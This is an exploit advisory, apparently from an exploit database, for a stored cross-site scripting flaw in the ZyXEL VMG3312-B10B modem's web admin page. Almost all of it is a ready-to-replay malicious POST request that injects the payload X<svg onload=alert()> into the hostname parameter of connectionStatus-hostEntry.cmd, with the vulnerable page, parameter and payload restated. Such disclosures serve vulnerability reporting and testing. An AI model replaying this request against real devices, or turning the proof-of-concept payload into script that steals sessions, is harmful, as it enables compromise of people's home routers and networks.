ZyXEL VMG3312-B10B – Cross-Site Scripting
# Exploit Title: ZyXEL VMG3312-B10B - Cross-Site Scripting # Date: 2018-08-21 # Exploit Author: Samet ŞAHİN # Vendor Homepage: https://www.zyxel.com/ # Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/ # Version: ZyXEL VMG3312-B10B # Tested on: Mozilla Firefox 61.0.2 & Google Chrome 67.0.3396.99 # Category: Stored XSS # CVE : N/A Malicious POST REQUEST : POST /pages/connectionStatus/connectionStatus-hostEntry.cmd HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/index.html Content-Type: application/x-www-form-urlencoded Content-Length: 79 Cookie: SESSION=529313605 Connection: close Upgrade-Insecure-Requests: 1 action=edit&oldip=192.168.1.36&hosttype=&sessionKey=1997367832&hostname=X<svg onload=alert()> Vulnerable PAGE : /pages/connectionStatus/connectionStatus-hostEntry.cmd Vulnerable PARAMETER : hostname Cross Site Scripting PAYLOAD : X<svg onload=alert()> #Samet ŞAHİN |